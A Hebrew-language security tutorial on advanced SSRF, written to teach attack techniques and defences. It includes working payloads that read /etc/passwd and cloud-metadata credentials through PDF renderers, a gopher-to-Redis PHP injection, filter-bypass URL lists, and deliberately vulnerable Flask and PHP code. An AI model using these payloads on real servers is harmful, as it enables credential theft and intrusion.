SSRF מתקדם - Server-Side Request Forgery¶
חזרה על SSRF בסיסי¶
בקורס הבסיסי למדנו ש-SSRF היא חולשה שבה התוקף מנצל את השרת כדי לשלוח בקשות HTTP למקומות שלא היו אמורים להיות נגישים. ראינו כיצד ניתן לגשת לשירותים פנימיים דרך הזנת כתובות כמו http://localhost או http://127.0.0.1.
בשיעור זה נתעמק בטכניקות מתקדמות של SSRF - עקיפת הגנות, שימוש בפרוטוקולים שונים, וניצול הבדלים בין מפענחי כתובות.
SSRF עיוור - Blind SSRF¶
ב-SSRF עיוור, השרת מבצע את הבקשה אבל לא מחזיר את התשובה ישירות לתוקף. אנחנו יודעים שהבקשה בוצעה, אבל לא רואים את התוכן.
זיהוי באמצעות טכניקות Out-of-Band¶
השיטה העיקרית לזהות SSRF עיוור היא לגרום לשרת לשלוח בקשה לשרת שבשליטתנו:
כלים לזיהוי:
- Burp Collaborator - כלי מובנה ב-Burp Suite שמספק תת-דומיין ייחודי ומאזין ל-DNS ו-HTTP
- webhook.site - שירות חינמי שמספק כתובת URL ומציג בקשות נכנסות
- interactsh - כלי קוד פתוח של ProjectDiscovery
# דוגמה לקוד פגיע ל-Blind SSRF
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/check-url')
def check_url():
url = request.args.get('url')
try:
# השרת שולח בקשה אבל לא מחזיר את התוכן
response = requests.get(url, timeout=5)
return f"Status: {response.status_code}"
except:
return "Error"
התוקף לא מקבל את גוף התשובה, אבל יכול לדעת שהבקשה בוצעה דרך:
- קוד הסטטוס שמוחזר
- זמן התגובה (time-based blind SSRF)
- בקשת DNS/HTTP שמגיעה לשרת שלו
DNS Rebinding - עקיפת בדיקות מבוססות IP¶
כיצד DNS Rebinding עובד¶
הגנות רבות נגד SSRF עובדות כך:
1. מפענחים את ה-DNS של הכתובת שהמשתמש שלח
2. בודקים שה-IP לא פנימי (לא 127.0.0.1, לא 10.x.x.x וכו')
3. אם ה-IP תקין - שולחים את הבקשה
ב-DNS Rebinding אנחנו מנצלים את הפער בין שלב הבדיקה לשלב השליחה:
שלב 1: התוקף מחזיק דומיין attacker.com
שלב 2: שרת ה-DNS של attacker.com מוגדר עם TTL קצר מאוד (0-1 שניות)
שלב 3: בפעם הראשונה שהשרת מבקש DNS - מחזירים IP חיצוני (1.2.3.4) → עובר בדיקה
שלב 4: בפעם השנייה (הבקשה בפועל) - מחזירים IP פנימי (127.0.0.1) → SSRF
כלים לביצוע DNS Rebinding¶
rbndr.us - שירות שמחזיר תשובות DNS מתחלפות:
# הפורמט: A-B.rbndr.us
# מחליף בין שתי כתובות IP
http://7f000001-01020304.rbndr.us/internal-path
# 7f000001 = 127.0.0.1 (hex)
# 01020304 = 1.2.3.4 (hex)
Singularity of Origin - כלי מתקדם יותר:
# התקנה
git clone https://github.com/nccgroup/singularity.git
cd singularity
go build -o singularity cmd/singularity-of-origin/main.go
# הפעלה
./singularity -HTTPServerPort 8080 -ResponseIPAddr 127.0.0.1
דוגמה מלאה של תקיפת DNS Rebinding¶
# קוד הגנה "מאובטח" שפגיע ל-DNS Rebinding
import socket
import ipaddress
import requests
def is_internal_ip(ip):
addr = ipaddress.ip_address(ip)
return addr.is_private or addr.is_loopback
def fetch_url(url):
from urllib.parse import urlparse
hostname = urlparse(url).hostname
# שלב 1: בדיקת DNS
ip = socket.gethostbyname(hostname)
if is_internal_ip(ip):
return "Blocked: Internal IP"
# שלב 2: שליחת בקשה (DNS Rebinding - ה-IP כבר השתנה!)
return requests.get(url).text
SSRF דרך מחוללי PDF¶
אפליקציות רבות מייצרות קבצי PDF מ-HTML - חשבוניות, דוחות, כרטיסי טיסה. אם התוקף שולט בתוכן ה-HTML, הוא יכול לנצל את מנוע ה-PDF לביצוע SSRF.
מנועי PDF נפוצים¶
- wkhtmltopdf - מבוסס על WebKit ישן
- Chromium Headless - דפדפן מלא ללא ממשק
- WeasyPrint - מנוע Python
שימוש בתגיות HTML ל-SSRF¶
<!-- טעינת תוכן מכתובת פנימית -->
<iframe src="http://169.254.169.254/latest/meta-data/" width="100%" height="500px"></iframe>
<!-- קריאת קובץ מקומי -->
<iframe src="file:///etc/passwd" width="100%" height="500px"></iframe>
<!-- שימוש בתגית img -->
<img src="http://internal-server:8080/admin">
<!-- שימוש בתגית link -->
<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">
<!-- שימוש ב-CSS -->
<style>
@import url('http://internal-server/secret');
</style>
הרצת JavaScript בהקשר של PDF¶
מנועים מבוססי דפדפן (wkhtmltopdf, Chromium) תומכים ב-JavaScript:
<script>
// קריאת קובץ מקומי
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///etc/passwd', false);
xhr.send();
document.write('<pre>' + xhr.responseText + '</pre>');
</script>
<script>
// SSRF דרך JavaScript
fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
.then(r => r.text())
.then(data => {
document.write('<pre>' + data + '</pre>');
});
</script>
דוגמה לאפליקציה פגיעה¶
# Flask app שמייצרת PDF מ-HTML של המשתמש
from flask import Flask, request, send_file
import pdfkit
app = Flask(__name__)
@app.route('/generate-pdf', methods=['POST'])
def generate_pdf():
html_content = request.form.get('html')
# מייצרת PDF מ-HTML לא מסונן - פגיע!
pdfkit.from_string(html_content, 'output.pdf')
return send_file('output.pdf')
הבדלים בין מפענחי כתובות - URL Parser Differentials¶
ספריות שונות מפרשות כתובות URL בצורה שונה. ניתן לנצל את ההבדלים כדי לעקוף הגנות.
ניצול סימן @¶
לפי תקן ה-URL, מה שלפני @ הוא שם משתמש:
ספריות מסוימות ישלחו את הבקשה ל-internal-server, בעוד שההגנה בדקה את attacker.com.
from urllib.parse import urlparse
# Python urllib
url = "http://evil.com@127.0.0.1/"
parsed = urlparse(url)
print(parsed.hostname) # 127.0.0.1
print(parsed.netloc) # evil.com@127.0.0.1
בלכסן לאחור מול לכסן קדימה - Backslash vs Forward Slash¶
חלק מהמפענחים מתייחסים ל-\ כ-/ וחלק לא, מה שיוצר בלבול.
Unicode בכתובות URL¶
http://127.0.0.1%E3%80%82evil.com
# %E3%80%82 = Unicode full-stop, חלק מהמפענחים מתייחסים אליו כנקודה
בלבול פרוטוקולים - Scheme Confusion¶
# קריאת קבצים מקומיים
file:///etc/passwd
# פרוטוקול gopher - שולח נתונים גולמיים לפורט
gopher://127.0.0.1:6379/_SET%20key%20value
# פרוטוקול dict - לתקשורת עם שירותים פנימיים
dict://127.0.0.1:6379/SET:key:value
דוגמה לניצול gopher נגד Redis¶
# שליחת פקודות Redis דרך gopher
gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0ASET%0D%0A$4%0D%0Atest%0D%0A$18%0D%0A<?php%20phpinfo();?>%0D%0A
# פירוש הפקודה:
# SET test "<?php phpinfo();?>"
טשטוש כתובות IP - IP Address Obfuscation¶
ישנן דרכים רבות לייצג את אותה כתובת IP, מה שמאפשר לעקוף הגנות מבוססות מחרוזת.
ייצוג עשרוני - Decimal IP¶
# חישוב ייצוג עשרוני
import struct
ip = "127.0.0.1"
decimal = struct.unpack("!I", bytes(map(int, ip.split("."))))[0]
print(decimal) # 2130706433
ייצוג הקסדצימלי - Hex IP¶
ייצוג אוקטלי - Octal IP¶
IPv6¶
ייצוגים מעורבים¶
http://0x7f.0.0.01 # hex + octal
http://0177.0x00.0.1 # octal + hex + decimal
http://127.0.0.1.nip.io # DNS שמצביע ל-127.0.0.1
http://localtest.me # DNS שמצביע ל-127.0.0.1
http://spoofed.burpcollaborator.net # DNS מותאם
סקריפט לייצור כל הפורמטים¶
import struct
def generate_ip_representations(ip):
parts = list(map(int, ip.split(".")))
decimal = struct.unpack("!I", bytes(parts))[0]
representations = [
ip,
str(decimal),
hex(decimal),
f"0{oct(parts[0])[2:]}.0{oct(parts[1])[2:]}.0{oct(parts[2])[2:]}.0{oct(parts[3])[2:]}",
f"0x{parts[0]:02x}.0x{parts[1]:02x}.0x{parts[2]:02x}.0x{parts[3]:02x}",
f"[::ffff:{ip}]",
]
if ip == "127.0.0.1":
representations.extend([
"[::1]",
"localtest.me",
"127.0.0.1.nip.io",
])
return representations
for r in generate_ip_representations("127.0.0.1"):
print(r)
שילוב טכניקות לעקיפת פילטרים¶
כשמתמודדים עם הגנות מרובות, צריך לשלב טכניקות:
# פילטר חוסם "127.0.0.1" ו-"localhost"?
http://0x7f000001/admin
# פילטר חוסם גם ייצוגים מספריים?
http://localtest.me/admin
# פילטר בודק DNS אבל לא מונע DNS Rebinding?
http://7f000001-01020304.rbndr.us/admin
# פילטר חוסם HTTP אבל לא פרוטוקולים אחרים?
gopher://127.0.0.1:6379/_KEYS%20*
# פילטר מבוסס Regex שבודק hostname?
http://evil.com@127.0.0.1/admin
http://127.0.0.1%23@evil.com # fragment confusion
דוגמה ל-SSRF ב-PHP¶
<?php
// קוד PHP פגיע ל-SSRF
$url = $_GET['url'];
// "הגנה" חלשה
$parsed = parse_url($url);
$host = $parsed['host'];
// בודק רק את המחרוזת
$blocked = ['127.0.0.1', 'localhost', '0.0.0.0'];
if (in_array($host, $blocked)) {
die("Blocked!");
}
// ניתן לעקוף עם:
// ?url=http://0x7f000001/admin
// ?url=http://127.1/admin (shorthand)
// ?url=http://[::1]/admin
$content = file_get_contents($url);
echo $content;
?>
הגנות¶
גישת Whitelist¶
ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']
ALLOWED_SCHEMES = ['http', 'https']
def safe_fetch(url):
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError("Scheme not allowed")
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError("Host not allowed")
return requests.get(url, allow_redirects=False)
פתרון DNS וולידציה של IP¶
import socket
import ipaddress
def safe_fetch(url):
parsed = urlparse(url)
hostname = parsed.hostname
# פתרון DNS
ip = socket.gethostbyname(hostname)
addr = ipaddress.ip_address(ip)
# חסימת טווחים פרטיים
if addr.is_private or addr.is_loopback or addr.is_reserved:
raise ValueError(f"Blocked IP: {ip}")
# חשוב: שליחת הבקשה ישירות ל-IP שאומת
# כדי למנוע DNS Rebinding
response = requests.get(
url.replace(hostname, ip),
headers={'Host': hostname},
allow_redirects=False
)
return response
חסימת פרוטוקולים מיותרים¶
# ברמת הרשת - iptables
# חסימת גישה של השרת לטווחים פנימיים
iptables -A OUTPUT -m owner --uid-owner www-data -d 127.0.0.0/8 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 169.254.0.0/16 -j DROP
סיכום¶
| טכניקה | שימוש | קושי |
|---|---|---|
| Blind SSRF | זיהוי SSRF כשאין תשובה ישירה | בינוני |
| DNS Rebinding | עקיפת בדיקות IP | גבוה |
| SSRF דרך PDF | ניצול מחוללי מסמכים | בינוני |
| הבדלי מפענחים | עקיפת Regex והגנות מחרוזת | בינוני |
| טשטוש IP | עקיפת Blacklist | נמוך |
| שילוב טכניקות | תקיפה של הגנות מרובות | גבוה |
הנקודה המרכזית: הגנה אמיתית נגד SSRF דורשת גישת Whitelist, ולידציה ברמת הרשת, וחסימת פרוטוקולים מיותרים. הגנה מבוססת Blacklist תמיד ניתנת לעקיפה.